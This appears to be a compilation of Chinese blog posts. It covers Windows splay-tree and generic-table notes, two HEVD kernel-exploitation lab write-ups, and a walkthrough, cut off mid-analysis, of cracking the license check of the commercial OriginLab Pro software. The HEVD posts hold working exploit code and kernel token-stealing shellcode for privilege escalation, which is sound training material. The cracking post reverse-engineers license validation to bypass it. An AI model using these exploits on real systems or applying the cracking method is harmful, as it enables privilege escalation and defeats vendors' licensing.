"伸展"树，使得新插入的节点成为根节点

伸展树的遍历通过RtlLeftChild或者RtlRightChild函数来完成，使用哪一个函数根据新节点和父节点的关系决定，比如新节点比父节点小，就使用Left，比父节点大就使用Right

使用RtlInsertAsLeftChild或者Right来插入新节点到指定节点的左边或者右边

调用RtlSplay来“伸展”树

伸展树的同步

caller需要负责对伸展树的访问进行同步，根据IRQL的值，不同的同步策略会被使用

对于IRQL>=DISPATCH_DELVE(2)，自旋锁将会被使用，而且节点必须存在于non-paged pool（因为此时page-fault无法工作）

其他情况下就使用dispatcher对象：互斥量、信号量等，同时，节点可以存在于paged-pool中

伸展树的用处

每一个数据结构和其他的相比都有其优缺点，所有的数据结构的评价标准可以抽象为以下三个维度：

内存占用
搜索时间
管理开销（插入、删除等操作）

由于伸展树可以提高最近访问数据的访问速度，经常被用来实现缓存算法

需要注意的是，连续的对伸展树中的所有节点进行访问将会导致很大的开销，因为每一次访问都会引起伸展树的“伸展”操作

替代品：Generic Tables

伸展树用起来多少有点费劲，Windows使用伸展树实现了Generic Tables

Generic Tables的优势：

generic tables会帮你完成所有的伸展树操作，而且还提供了枚举树中所有节点的函数
如果伸展树无法提供你所需的性能，可以很方便的替换为AVL树，在引入ntrtl.h头文件之前，加入#define RTL_USE_AVL_TABLES 0定义即可
windbg提供了一个!gentable扩展

Generic Tables由RTL_GENERIC_TABLE结构体定义：

typedef struct _RTL_GENERIC_TABLE {
    PRTL_SPLAY_LINKS TableRoot;
    LIST_ENTRY InsertOrderList;
    PLIST_ENTRY OrderedPointer;
    ULONG WhichOrderedElement;
    ULONG NumberGenericTableElements;
    PRTL_GENERIC_COMPARE_ROUTINE CompareRoutine;
    PRTL_GENERIC_ALLOCATE_ROUTINE AllocateRoutine;
    PRTL_GENERIC_FREE_ROUTINE FreeRoutine;
    PVOID TableContext;
} RTL_GENERIC_TABLE;
typedef RTL_GENERIC_TABLE *PRTL_GENERIC_TABLE;

和_RTL_AVL_TABLE结构体的定义很像，就是第一个字段不一样

该结构体使用RtlInitializeGenericTable进行初始化

VOID
NTAPI
RtlInitializeGenericTable (
    PRTL_GENERIC_TABLE Table,
    PRTL_GENERIC_COMPARE_ROUTINE CompareRoutine,
    PRTL_GENERIC_ALLOCATE_ROUTINE AllocateRoutine,
    PRTL_GENERIC_FREE_ROUTINE FreeRoutine,
    PVOID TableContext
    );

table就是RTL_GENERIC_TABLE的地址
CompareRoutine就是用于节点之间进行比较的函数，返回RTL_GENERIC_COMPARE_RESULTS表明两个节点之间的关系
AllocateRoutine是用于分配新节点的函数
FreeRoutine用于在节点删除后释放节点内存
TableContext是上下文数据，可以是NULL

HEVD Arbitrary Memory Overwrite

2024-01-25T00:00:00+01:00

（所有压缩包的密码均为1）

references：

https://rootkits.xyz/blog/2017/09/kernel-write-what-where/

环境搭建

漏洞成因

由于驱动程序未检查由用户模式传过来的地址是否位于用户模式中，可能会导致任意内核地址的任意写（Write-What-Where）

#ifdef SECURE
        ProbeForRead((PVOID)Where, sizeof(PULONG_PTR), (ULONG)__alignof(PULONG_PTR));
        ProbeForRead((PVOID)What, sizeof(PULONG_PTR), (ULONG)__alignof(PULONG_PTR));

        *(Where) = *(What);
#else
        DbgPrint("[+] Triggering Arbitrary Overwrite\n");
        *(Where) = *(What);
#endif

可以看到，安全代码使用了函数ProbeForRead对用户传过来的地址进行了检查，而漏洞代码未进行任何检查，直接写入用户指定的内存地址

在IDA中可以看到触发漏洞函数的IO control code是0x22200B

查看漏洞代码：

int __stdcall TriggerArbitraryOverwrite(_WRITE_WHAT_WHERE *UserWriteWhatWhere)
{
  unsigned int *What; // edi
  unsigned int *Where; // ebx

  ProbeForRead(UserWriteWhatWhere, 8u, 4u);
  What = UserWriteWhatWhere->What;
  Where = UserWriteWhatWhere->Where;
  DbgPrint("[+] UserWriteWhatWhere: 0x%p\n", UserWriteWhatWhere);
  DbgPrint("[+] WRITE_WHAT_WHERE Size: 0x%X\n", 8);
  DbgPrint("[+] UserWriteWhatWhere->What: 0x%p\n", What);
  DbgPrint("[+] UserWriteWhatWhere->Where: 0x%p\n", Where);
  DbgPrint("[+] Triggering Arbitrary Overwrite\n");
  *Where = *What;
  return 0;
}

很明显，传入的是一个结构体，两个字段，一个What，一个Where

typedef struct _UserWriteWhatWhere {
    DWORD What;
    DWORD Where;
} _WRITE_WHAT_WHERE

触发漏洞

#include <stdio.h>
#include <malloc.h>
#include <Windows.h>
#pragma pack(1)
typedef struct _UserWriteWhatWhere {
    DWORD What;
    DWORD Where;
} _WRITE_WHAT_WHERE;

int main() {
    HANDLE driver_handle = CreateFileW(L"\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 3, 0, 3, 0x80, 0);
    if(INVALID_HANDLE_VALUE==driver_handle) {
        printf("can not open device, %x\n",GetLastError());
        exit(-1);
    }

    // io control 
        _WRITE_WHAT_WHERE* www = (_WRITE_WHAT_WHERE*)malloc(sizeof(_WRITE_WHAT_WHERE));
    if (0 == www) {
        printf("I've never seen malloc falied\n"); exit(-1);
    }
    // 这两个地址该怎么写我还真不知道  不过可以先随便写两个地址  看看iocode好不好使
    int what = 0;
    int where = 1;
    DWORD whataddresss = reinterpret_cast<DWORD>(&what);
    DWORD whereaddresss = reinterpret_cast<DWORD>(&where);
    www->What = whataddresss;
    www->Where = whereaddresss;
    DWORD   BytesReturned = 0;
    // 触发漏洞    iocontrol调用之后  where的值由1变成了0  说明调用正确
    if (DeviceIoControl(driver_handle, 0x22200B, www, sizeof(www), 0, 0, &BytesReturned, 0))
        return 1;

    return 0;
}

现在我们已经知道怎么抵达漏洞代码了，但是并不清楚如何进行利用

要想正确的利用该漏洞还不引起BSOD，需要用到Windows的一个未公开的函数ZWQueryIntervalProfile，该函数会调用系统调用nt!NtQueryIntervalProfile，内核函数存在于ntoskrnl.exe中，我们需要把这个文件搞到ida里看一看

我们需要获取到内核中的一个关键的地址，然后往这个地址中写入一些东西，这个过程必须是安全的而且可靠的，以免导致机器蓝屏

有一个几乎不怎么会被用到的函数NtQueryIntervalProfile，这个函数会调用内核函数KeQueryIntervalProfile，最终调用到HalDispatchTable+0x4所在的函数

poppopret有一篇关于这项技术的文章，大致总结如下：

在用户模式中加载ntkrnlpa.exe从而获取到HalDispatchTable的偏移量进而计算出他在内核中的地址
获取我们的shellcode的地址
从ntdll.dll中获取系统调用NtQueryIntervalProfile函数的地址
将nt!HalDispatchTable+0x4覆盖为我们的shellcode函数
调用NtQueryIntervalProfile来启动我们的shellcode

先来逆向一下NtQueryIntervalProfile函数

我们需要覆盖的地址就是nt!HalDispatchTable+0x4，重写了这个地址之后，只需要调用NtQueryIntervalProfile即可调用到我们的shellcode

也就是说我们需要覆盖这个地方

根据上面的分析我们编写出如下测试POC代码：

#include <stdio.h>
#include <malloc.h>
#include <Windows.h>
#pragma pack(1)
typedef struct _UserWriteWhatWhere {
    DWORD What;
    DWORD Where;
} _WRITE_WHAT_WHERE;

   #include <Windows.h>
#include <psapi.h>
#include <iostream>

uintptr_t GetNtKernelBaseAddress() {
    DWORD drivers[1024];
    DWORD cbNeeded;

    // Enumerate device drivers
    if (EnumDeviceDrivers((LPVOID*)drivers, sizeof(drivers), &cbNeeded)) {
        int driverCount = cbNeeded / sizeof(drivers[0]);
        for (int i = 0; i < driverCount; i++) {
            char driverName[MAX_PATH];

            // Get the base name of the driver
            if (GetDeviceDriverBaseNameA((LPVOID)drivers[i], driverName, sizeof(driverName) / sizeof(driverName[0]))) {
                printf("%s\n",driverName);
                // Check if the driver name is "ntkrnl"
                if (strstr(driverName, "ntoskrnl") != nullptr) {
                    return (uintptr_t)drivers[i];
                }
            }
        }
    }
    // Return 0 if ntkrnl is not found or if enumeration fails
    return 0;
}




VOID TokenStealingPayloadWin7() {
    // Importance of Kernel Recovery
    __asm {
         mov     eax,dword ptr fs:[00000124h]
  add     eax,40h
  mov     eax,dword ptr [eax+10h]
  mov     ecx,dword ptr [eax+0B8h]
_00400012:
             mov     ecx,dword ptr [ecx]
  mov     esi,ecx
  sub     esi,0B8h
  mov     esi,dword ptr [esi+0B4h]
  cmp     esi,4
  jne     _00400012
  mov     edi,dword ptr [ecx+40h]
_0040002a:
            mov     ecx,dword ptr [ecx]
   mov     esi,ecx
   sub     esi,0B8h
   mov     esi,dword ptr [esi+0B4h]
   cmp     esi,378h
   jne     _0040002a
   lea     esi,[ecx+40h]
   mov     dword ptr [esi],edi
_00400047:
            mov     ecx,dword ptr [ecx]
 mov     esi,ecx
 sub     esi,0B8h
 mov     esi,dword ptr [esi+0B4h]
 cmp     esi,17B0h       ;; 这个是等待提权的cmd的PID

 jne     _00400047
 je      _00400047

    }
}
void sizeer(PVOID a1) {
if (a1==NULL) return;
return;
}
     typedef NTSTATUS (__stdcall *_NtQueryIntervalProfile)(DWORD ProfileSource, PULONG Interval);

int main() {
    sizeer(NULL);
    DWORD shellcodeaaddr=        (DWORD)VirtualAlloc(0,   (DWORD)sizeer-(DWORD)TokenStealingPayloadWin7,0x3000,0x40);
    memset((PVOID)shellcodeaaddr,0,  (DWORD)sizeer-(DWORD)TokenStealingPayloadWin7);
    memcpy((PVOID)shellcodeaaddr,TokenStealingPayloadWin7,  (DWORD)sizeer-(DWORD)TokenStealingPayloadWin7)   ;
    HMODULE oskrn=LoadLibraryA("C:\\Windows\\System32\\ntoskrnl.exe");
    PVOID tableAddr=GetProcAddress(oskrn,"HalDispatchTable")    ;

             DWORD offset=(DWORD)tableAddr-(DWORD)oskrn;

         DWORD osKrnlBaseaddr=GetNtKernelBaseAddress();

           DWORD targetAddr=offset+osKrnlBaseaddr+4;
        DWORD* whatPointer=(DWORD*)malloc(0x4);
    *whatPointer=   (DWORD) shellcodeaaddr;
    HANDLE driver_handle = CreateFileW(L"\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 3, 0, 3, 0x80, 0);
    if(INVALID_HANDLE_VALUE==driver_handle) {
        printf("can not open device, %x\n",GetLastError());
        exit(-1);
    }

    // io control 
        _WRITE_WHAT_WHERE* www = (_WRITE_WHAT_WHERE*)malloc(sizeof(_WRITE_WHAT_WHERE));
    if (0 == www) {
        printf("I've never seen malloc falied\n"); exit(-1);
    }
    printf("shellcode addrd: %p\n",TokenStealingPayloadWin7);
    // 这两个地址该怎么写我还真不知道  不过可以先随便写两个地址  看看iocode好不好使
    int what = 0;
    int where = 1;
    DWORD whataddresss = reinterpret_cast<DWORD>(&what);
    DWORD whereaddresss = reinterpret_cast<DWORD>(&where);
    www->What =(DWORD) whatPointer;
    www->Where = targetAddr;
    DWORD   BytesReturned = 0;
    // 触发漏洞    iocontrol调用之后  where的值由1变成了0  说明调用正确
    if (!DeviceIoControl(driver_handle, 0x22200B, www, sizeof(www), 0, 0, &BytesReturned, 0))
        return 1;

    // 调用函数触发shellcode
    _NtQueryIntervalProfile    NtQueryIntervalProfile  = (_NtQueryIntervalProfile)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQueryIntervalProfile");
                           int abc=0;
                           printf("NtQueryIntervalProfile addr: %p\n",NtQueryIntervalProfile);
                           MessageBoxA(NULL,"OK","OK",MB_OK);
                           // a1不能为1
 NtQueryIntervalProfile(1,(PULONG)&abc);


    return 0;
}

我们首先在NtQueryIntervalProfile函数处下断点，看看怎么才能到达nt!HalDispatchTable+0x4

那么我们要计算出来NtQueryIntervalProfile对应的内核函数的地址，计算方式如下：

dd nt!KiServiceTable+(sysCallNumber*4) L1

NtQueryIntervalProfile的Syscall number为0xAB

这个函数一般不会被调用，我们直接在这里下断点，然后运行POC来触发

OK，现在我们已断下来了

该函数的汇编代码如下：

kd> uf nt!NtQueryIntervalProfile
nt!NtQueryIntervalProfile:
8154546c 6a0c            push    0Ch
8154546e 6828a43d81      push    offset nt!RtlpSparseBitmapCtxPrepareRanges+0x5da9 (813da428)
81545473 e800f1dcff      call    nt!_SEH_prolog4 (81314578)
81545478 64a124010000    mov     eax,dword ptr fs:[00000124h]
8154547e 8a985a010000    mov     bl,byte ptr [eax+15Ah]
81545484 84db            test    bl,bl
81545486 741b            je      nt!NtQueryIntervalProfile+0x37 (815454a3)  Branch

nt!NtQueryIntervalProfile+0x1c:
81545488 8365fc00        and     dword ptr [ebp-4],0
8154548c 8b4d0c          mov     ecx,dword ptr [ebp+0Ch]
8154548f a158c94281      mov     eax,dword ptr [nt!MmUserProbeAddress (8142c958)]
81545494 3bc8            cmp     ecx,eax
81545496 7336            jae     nt!NtQueryIntervalProfile+0x62 (815454ce)  Branch

nt!NtQueryIntervalProfile+0x2c:
81545498 8b01            mov     eax,dword ptr [ecx]
8154549a 8901            mov     dword ptr [ecx],eax
8154549c c745fcfeffffff  mov     dword ptr [ebp-4],0FFFFFFFEh

nt!NtQueryIntervalProfile+0x37:
815454a3 8b4d08          mov     ecx,dword ptr [ebp+8]
815454a6 e833000000      call    nt!KeQueryIntervalProfile (815454de)
815454ab 8bc8            mov     ecx,eax
815454ad 84db            test    bl,bl
815454af 7421            je      nt!NtQueryIntervalProfile+0x66 (815454d2)  Branch

nt!NtQueryIntervalProfile+0x45:
815454b1 c745fc01000000  mov     dword ptr [ebp-4],1
815454b8 8b450c          mov     eax,dword ptr [ebp+0Ch]
815454bb 8908            mov     dword ptr [eax],ecx
815454bd c745fcfeffffff  mov     dword ptr [ebp-4],0FFFFFFFEh

nt!NtQueryIntervalProfile+0x58:
815454c4 33c0            xor     eax,eax
815454c6 e8f2f0dcff      call    nt!_SEH_epilog4 (813145bd)
815454cb c20800          ret     8

nt!NtQueryIntervalProfile+0x62:
815454ce 8bc8            mov     ecx,eax
815454d0 ebc6            jmp     nt!NtQueryIntervalProfile+0x2c (81545498)  Branch

nt!NtQueryIntervalProfile+0x66:
815454d2 8b450c          mov     eax,dword ptr [ebp+0Ch]
815454d5 8908            mov     dword ptr [eax],ecx
815454d7 ebeb            jmp     nt!NtQueryIntervalProfile+0x58 (815454c4)  Branch

我们需要抵达815454a6

windows x86的调用约定：

从这张图片中可以看出来所有的参数都是通过栈传递的，按照从右至左的顺序压栈

而在取值方面:

可以看到，从a1到a4依次通过ebp+0x8\0xC\0x10\0x14完成

了解了这些之后，我们再来分析nt!NtQueryIntervalProfile的汇编代码

最终a2取值之后放到eax，a1放到ecx中，然后调用nt!KeQueryIntervalProfile

但是无论什么样的调用约定，eax都是用于存储返回值的，而在这个call指令之前有没有看到压栈操作，因此我们只能认为nt!KeQueryIntervalProfile是一个fastcall，使用ecx和edx传递前两个参数，后面的参数使用栈传递，那么也就是说只有ecx是有效参数，即我们传递给nt!NtQueryIntervalProfile的a1

现在我们来分析nt!KeQueryIntervalProfile：

kd> uf nt!KeQueryIntervalProfile
nt!KeQueryIntervalProfile:
815454de 8bff            mov     edi,edi
815454e0 55              push    ebp
815454e1 8bec            mov     ebp,esp
815454e3 83ec14          sub     esp,14h
815454e6 83f901          cmp     ecx,1
815454e9 7426            je      nt!KeQueryIntervalProfile+0x33 (81545511)  Branch

nt!KeQueryIntervalProfile+0xd:
815454eb 8d45fc          lea     eax,[ebp-4]
815454ee 894dec          mov     dword ptr [ebp-14h],ecx
815454f1 50              push    eax
815454f2 8d45ec          lea     eax,[ebp-14h]
815454f5 50              push    eax
815454f6 6a10            push    10h
815454f8 6a01            push    1
815454fa ff150cd03e81    call    dword ptr [nt!HalDispatchTable+0x4 (813ed00c)]
81545500 85c0            test    eax,eax
81545502 7814            js      nt!KeQueryIntervalProfile+0x3a (81545518)  Branch

nt!KeQueryIntervalProfile+0x26:
81545504 807df000        cmp     byte ptr [ebp-10h],0
81545508 740e            je      nt!KeQueryIntervalProfile+0x3a (81545518)  Branch

nt!KeQueryIntervalProfile+0x2c:
8154550a 8b45f4          mov     eax,dword ptr [ebp-0Ch]

nt!KeQueryIntervalProfile+0x2f:
8154550d 8be5            mov     esp,ebp
8154550f 5d              pop     ebp
81545510 c3              ret

nt!KeQueryIntervalProfile+0x33:
81545511 a144284081      mov     eax,dword ptr [nt!KiProfileAlignmentFixupInterval (81402844)]
81545516 ebf5            jmp     nt!KeQueryIntervalProfile+0x2f (8154550d)  Branch

nt!KeQueryIntervalProfile+0x3a:
81545518 33c0            xor     eax,eax
8154551a ebf1            jmp     nt!KeQueryIntervalProfile+0x2f (8154550d)  Branch

很明显我们在815454e9是不能je的，因此ecx不能为1，调整POC代码的NtQueryIntervalProfile(1,(PULONG)&abc);为NtQueryIntervalProfile(0,(PULONG)&abc);

现在已经可以跳转到我们自己的代码上面了，但是跳转到一瞬间直接崩溃了

windows提示我们在不可运行的内存上面运行代码

我用!vad看了一下，我这明明是可执行的呀，不知道为啥还是会蓝屏

妈的解决不了，官方的EXP运行起来也是蓝屏

HEVD StackOverflow

2023-12-29T00:00:00+01:00

（所有压缩包的密码均为1）

references：

https://rootkits.xyz/blog/2017/08/kernel-stack-overflow/

环境搭建比较简单，先下载个x86的IE-Win7虚拟机，导入两次OVF创建俩虚拟机，一个作为Debugger，另一个作为Debuggee，然后使用串口进行调试，关于Vmware的串口调试，请参考这个视频，视频中用的是CentOS，如果是使用Windows，选择使用命名管道即可

hevd驱动、python2安装包、OSR驱动加载工具、windbgx86都打包放到这里了，hevd源码在这里

漏洞成因

HackSysExtremeVulnerableDriver-2.0.0\Driver\StackOverflow.c的TriggerStackOverflow函数

92行

RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);

第三个参数为用户控制，而KernelBuffer分配在栈上，大小固定为512字节，如果我们提供的Size大于512，则会造成栈溢出

看一下调用流程

从StackOverflowIoctlHandler函数过来，而StackOverflowIoctlHandler函数由IrpDeviceIoCtlHandler调用

从下面的代码可以知道，当控制代码为0x222003的时候可以进入到漏洞代码中

触发漏洞

那么我们就可以构造出下面的测试代码，来触发栈溢出

import ctypes, sys
import string
import random
import time
import struct
from ctypes import *
def generate_random_string(length):
    characters = string.ascii_letters + string.digits
    random_string = ''.join(random.choice(characters) for _ in range(length))
    return random_string
kernel32 = windll.kernel32
hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None)

if not hevDevice or hevDevice == -1:
    print "*** Couldn't get Device Driver handle."
    sys.exit(0)


buf = generate_random_string(0x900)
file_path = 'example.txt'
with open(file_path, 'w') as file:
    # Write a string to the file
    file.write(buf)

# 这里使用输入卡住脚本，确保文件被写入之后再向驱动程序发送数据
holdon = raw_input()  

kernel32.DeviceIoControl(hevDevice, 0x222003, buf, 0x900, None, 0, None, None)

然后我们在debugger中下断点

# 开启详细输出
!sym noisy
# 添加windows符号表服务器到符号搜索路径
.symfix
# 将HEVD.pdb路径加入符号搜索路径
.sympath+ C:\Users\IEUser\Downloads\hevd_vulnerable\i386
# 加载符号
.reload /f
# 启用DbgPrint
ed Kd_DEFAULT_Mask 8
# 在漏洞代码处下断点
bp hevd!TriggerStackOverflow

可以看到已经崩溃了，栈溢出导致返回地址被覆盖，最终导致EIP寄存器的值为我们提供的buffer中的某一偏移量的DWORD，我们可以在重启之后看一下eip寄存器的值在example.txt文件中的偏移量

偏移量0x820，也就是说我们在输入的buffer的0x820偏移处写入我们的shellcode地址即以内核模式执行代码，有一点需要注意的是，当我们的用户模式的代码和驱动进行通信时，此时驱动代码是可以访问到用户模式中的内存的，因此我们可以直接在python代码中分配内存，然后更改内存保护属性为可执行即可

编写EXP

在本例中，我们将利用该漏洞进行本地提权

回顾一下我们现在都有什么条件

控制EIP的值
可以写入shellcode

这两个条件结合起来就是任意代码执行，我们可以通过token替换来将目标程序的token替换成System进程（PID=4）的token

汇编代码及注释如下：

' 从fs:[00000124h]获取到当前进程的ETHREAD结构体地址
mov eax,dword ptr fs:[0x124]
' KTHREAD是ETHREAD的第一个成员，因此两者的地址
' 是相同的，KTHREAD往后偏西0x40，获取到_KAPC_STATE结构体的地址
add eax, 0x40
' _KAPC_STATE结构体的0x10偏移的值就是KPROCESS结构体的地址
mov eax, dword ptr [eax+0x10]
’ 和ETHREAD相同，KPROCESS是EPROCESS的第一个字段，因此这两个结构体的地址也是相同的
' EPROCESS的0xb8偏移是ActiveProcessLinks，一个_LIST_ENTRY结构体，通过这个字段
' 我们可以遍历当前系统中所有的活动进程
' 把这个字段的地址记录下来，后面要用
mov ecx, dword ptr [eax+0x0b8]

' 开始遍历进程链表，找到PID=4的进程
' 获取flink的地址，那么这个值就是下一个进程中ActiveProcessLinks字段的地址
' 使用这个地址减去ActiveProcessLinks字段在EPROCESS结构体中的偏移，即可得到
' EPROCESS结构体的地址
mov ecx, dword ptr [ecx]
' ecx需要进行循环，所以我们把他的值放到esi中进行后续的操作
mov esi, ecx
sub esi, 0xb8
' EPROCESS的0xb4偏移是UniqueProcessId字段，就是进程的ID
mov esi, dword ptr [esi+0xb4]
' 检查PID是否为4
cmp esi, 4
' 如果不是，就跳回循环开头
' 关于这条指令的构造过程，可以参考这篇文章：https://blog.csdn.net/ma_de_hao_mei_le/article/details/135275941
# jnz 0xffffffed
"\x75\xEB"

' 如果找到了System进程，那么我们需要把他的token取出来
' Token字段在EPROCESS中的偏移是0xf8，此时ecx是ActiveProcessLinks字段的地址
' 减去0xb8获取到EPROCESS地址，再加上0xf8获取到Token字段的地址，那么直接加上0x40取值即可
mov edi, dword ptr [ecx+0x40]

' 然后我们再进行一次循环获取到待提权进程的Token地址，将edi写入即可
' 0xC44是待提权进程的PID
mov ecx, dword ptr [ecx]
mov esi, ecx
sub esi, 0xb8
mov esi, dword ptr [esi+0xb4]
cmp esi, 0xC44
# jnz 0xffffffea
"\x75\xE8"

' 获取到目标进程的Token字段地址
lea esi, dword ptr [ecx+0x40]
' 写入System进程的Token
mov [esi], edi

' 为了防止进程崩溃，我们在下面再写一个死循环就行了
mov ecx, dword ptr [ecx]
mov esi, ecx
sub esi, 0xb8
mov esi, dword ptr [esi+0xb4]
cmp esi, 0xD94
# jnz 0xffffffea back 0x16
"\x75\xE8"
# jz 0xffffffe8 back 0x18
"\x0F\x84\xE2\xFF\xFF\xFF"

在上面的代码中，有些字段的值是直接地址加偏移量就可得到，有些是加了偏移量之后还要取值，这个看一下下面两张图片就可以看出来

上面ApcState字段是直接KTREHAD+0x40即可得到地址，是因为这个字段并不是一个指针，而是直接嵌入到了KTHREAD结构体中，你可以看到下一个成员的偏移和ApcState字段偏移的差是sizeof(_KAPC_STATE)=0x17

而反观_KAPC_STATE结构体的成员Process，他的下一个成员的偏移和Process的偏移之差是4bytes，也就是一个地址的长度，因此需要取值才可以获得KPROCESS结构体的地址

使用在线汇编将上面的汇编代码转换成字节数组即可形成下面的利用代码：

import ctypes, sys
import string
import time
import struct
from ctypes import *
kernel32 = windll.kernel32
hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None)

if not hevDevice or hevDevice == -1:
    print "*** Couldn't get Device Driver handle."
    sys.exit(0)
print "device opened succeed"

shellcode = bytearray(
    "\x64\xA1\x24\x01\x00\x00\x83\xC0\x40\x8B\x40\x10\x8B\x88\xB8\x00\x00\x00\x8B\x09\x89\xCE\x81\xEE\xB8\x00\x00\x00\x8B\xB6\xB4\x00\x00\x00\x83\xFE\x04\x75\xEB\x8B\x79\x40\x8B\x09\x89\xCE\x81\xEE\xB8\x00\x00\x00\x8B\xB6\xB4\x00\x00\x00\x81\xFE\x84\x0B\x00\x00\x75\xE8\x8D\x71\x40\x89\x3E\x8B\x09\x89\xCE\x81\xEE\xB8\x00\x00\x00\x8B\xB6\xB4\x00\x00\x00\x81\xFE\x84\x0B\x00\x00\x75\xE8\x0F\x84\xE2\xFF\xFF\xFF"
    )

# PAGE_EXECUTE_READWRITE    0x40
# COMMIT | RESERVE
ptr = kernel32.VirtualAlloc(c_int(0),c_int(len(shellcode)),c_int(0x3000),c_int(0x40))

buff = (c_char * len(shellcode)).from_buffer(shellcode)
kernel32.RtlMoveMemory(c_int(ptr),buff,c_int(len(shellcode)))

buf ="A"*0x820
buf = buf+struct.pack("<L", ptr)
kernel32.DeviceIoControl(hevDevice, 0x222003, buf, 0x824, None, 0, byref(c_ulong()), None)

在使用的时候将\x84\x0B改成你自己的目标进程的PID即可（注意大小端）

API HOOK技术在MFC程序破解过程中的应用

2023-08-02T00:00:00+02:00

本文中所有涉及到的压缩包密码均为1

最近破解了一个MFC程序，OriginLab Pro，这里记录一下相关过程以及学到的一些东西

软件下载地址下载整个仓库然后和并解压即可

定位激活代码

程序安装完毕之后，打开就会弹出激活界面

我们选择使用license进行离线激活

对于这种输入框，最后肯定是要使用USER32!GetWindowText*来获取用户输入的，在输入框中随便输个字符串，然后在windbg中使用bm下个通配符断点

0:005> bm user32!getwindowtext*
  1: 00007ffb`a7f06f50 @!"USER32!GetWindowTextW$filt$0"
  2: 00007ffb`a7f06e95 @!"USER32!GetWindowTextA$filt$0"
  3: 00007ffb`a7ed9490 @!"USER32!GetWindowTextA"
  4: 00007ffb`a7eda200 @!"USER32!GetWindowTextLengthW"
  5: 00007ffb`a7edc2f0 @!"USER32!GetWindowTextW"
  6: 00007ffb`a7f59ce0 @!"USER32!GetWindowTextLengthA"

之后点击OK

实际测试发现，在我们点击OK之前，这些断点就会被反复触发，这样会干扰我们找到真正的license处理逻辑，因此我们需要改进一下，先在COMCTL32!Button_WndProc+0x7fb下断点，这个断点只有在点击按钮的时候才会被触发，然后点击OK，该断点触发之后，再下上面的通配符断点，即可定位到真正的license处理逻辑

我们使用IDA来看一下调用栈中编号为02的位置，首先这个代码位于C:\Program Files\OriginLab\Origin2023b\ou.dll

计算出偏移量

0:000> lm m *ou*
Browse full module list
start             end                 module name
00000000`10000000 00000000`1046d000   Resource   (deferred)             
00007ffb`53b40000 00007ffb`54452000   SogouPy    (deferred)             
00007ffb`54460000 00007ffb`546a3000   sogoutsf   (deferred)             
00007ffb`54d90000 00007ffb`54de1000   OUIM       (deferred)             
00007ffb`76fb0000 00007ffb`76feb000   OCcontour   (deferred)             
00007ffb`79400000 00007ffb`794a4000   Outl       (deferred)             
00007ffb`794b0000 00007ffb`79be7000   ou         (export symbols)       C:\Program Files\OriginLab\Origin2023b\ou.dll
0:000> ? ou!COUxlView::xlWorksheetToNativeOrigin+0x23489-00007ffb`794b0000 
Evaluate expression: 1271337 = 00000000`00136629

根据该偏移量在IDA中跳转到对应的位置

.text:000000018013661C                 lea     rdx, [rsp+38h+arg_18]
.text:0000000180136621                 mov     rcx, rbx
.text:0000000180136624                 call    ?GetWindowTextW@CWnd@@QEBAXAEAV?$CStringT@_WV?$StrTraitMFC_DLL@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@@Z ; CWnd::GetWindowTextW(ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>> &)
.text:0000000180136629                 lea     rcx, [rsp+38h+arg_18]

根据我们的经验，一眼就能看出rdx是传出参数，也就是说[rsp+38h+arg_18]会保存我们输入的license

分析汇编代码

把函数sub_180136600整体给看了一下，并没有找到激活相关的代码，那我们就接着看调用栈中编号03的代码，也就是函数sub_180134090

ou!sub_180134090

该函数中的关键代码如下：

.text:00000001801340AA                 lea     rcx, [rsp+28h+arg_8]
.text:00000001801340AF                 call    cs:??0CStringUTF8@@QEAA@XZ ; CStringUTF8::CStringUTF8(void)
.text:00000001801340B5                 nop
.text:00000001801340B6                 lea     rdx, [rdi+490h]
.text:00000001801340BD                 lea     r8, [rsp+28h+arg_8]
.text:00000001801340C2                 mov     rcx, rdi
.text:00000001801340C5                 call    sub_180136600
.text:00000001801340CA                 mov     rcx, [rsp+28h+arg_8]
.text:00000001801340CF                 call    sub_18012EF30
.text:00000001801340D4                 mov     ebx, eax
.text:00000001801340D6                 lea     rcx, [rsp+28h+arg_0]
.text:00000001801340DB                 call    cs:??0CStringUTF8@@QEAA@XZ ; CStringUTF8::CStringUTF8(void)
.text:00000001801340E1                 nop
.text:00000001801340E2                 mov     r9d, ebx
.text:00000001801340E5                 lea     r8, aBc04       ; "BC04:"
.text:00000001801340EC                 lea     rdx, aSD_2      ; "%s%d"
.text:00000001801340F3                 lea     rcx, [rsp+28h+arg_0]
.text:00000001801340F8                 call    cs:?Format@CStringUTF8@@QEAAXPEBDZZ ; CStringUTF8::Format(char const *,...)
.text:00000001801340FE                 mov     r8d, 1
.text:0000000180134104                 mov     rdx, [rsp+28h+arg_0]
.text:0000000180134109                 lea     ecx, [r8+14h]
.text:000000018013410D                 call    LABUTIL_diagnostics
.text:0000000180134112                 nop
.text:0000000180134113                 lea     rcx, [rsp+28h+arg_0]
.text:0000000180134118                 call    cs:__imp_??1CStringUTF8@@QEAA@XZ ; CStringUTF8::~CStringUTF8(void)
.text:000000018013411E                 mov     eax, cs:dword_1803D4898
.text:0000000180134124                 test    ebx, ebx
.text:0000000180134126                 cmovnz  eax, ebx
.text:0000000180134129                 mov     cs:dword_1803D4898, eax
.text:000000018013412F                 lea     rcx, [rsp+28h+arg_8]
.text:0000000180134134                 call    cs:__imp_??1CStringUTF8@@QEAA@XZ ; CStringUTF8::~CStringUTF8(void)

我们在ou+1340C5下断点，观察函数sub_180136600调用完成后第二个参数和第三个参数的情况

很明显，第3个参数rsp+28h+arg_8是传出参数，调用完成后会保存我们的license字符串

继续观察这段代码我们可以发现，license text作为第1个参数传给了函数sub_18012EF30，返回值放到ebx中并最终作为函数CStringUTF8::Format的第4个参数，然后这个函数就结束了

那现在我们就进入函数sub_18012EF30中一探究竟

ou!sub_18012EF30

首先我们通过windbg的调试可以确定下面这个函数的两次调用分别返回了字符串REGID和FSN

后面函数sub_180136A90也被调用了两次，我们先看第一次调用的参数传入情况

0:000> dc poi(rcx)
0000015f`eea4c9e8  73696874 20736920 6563696c 2065736e  this is license 
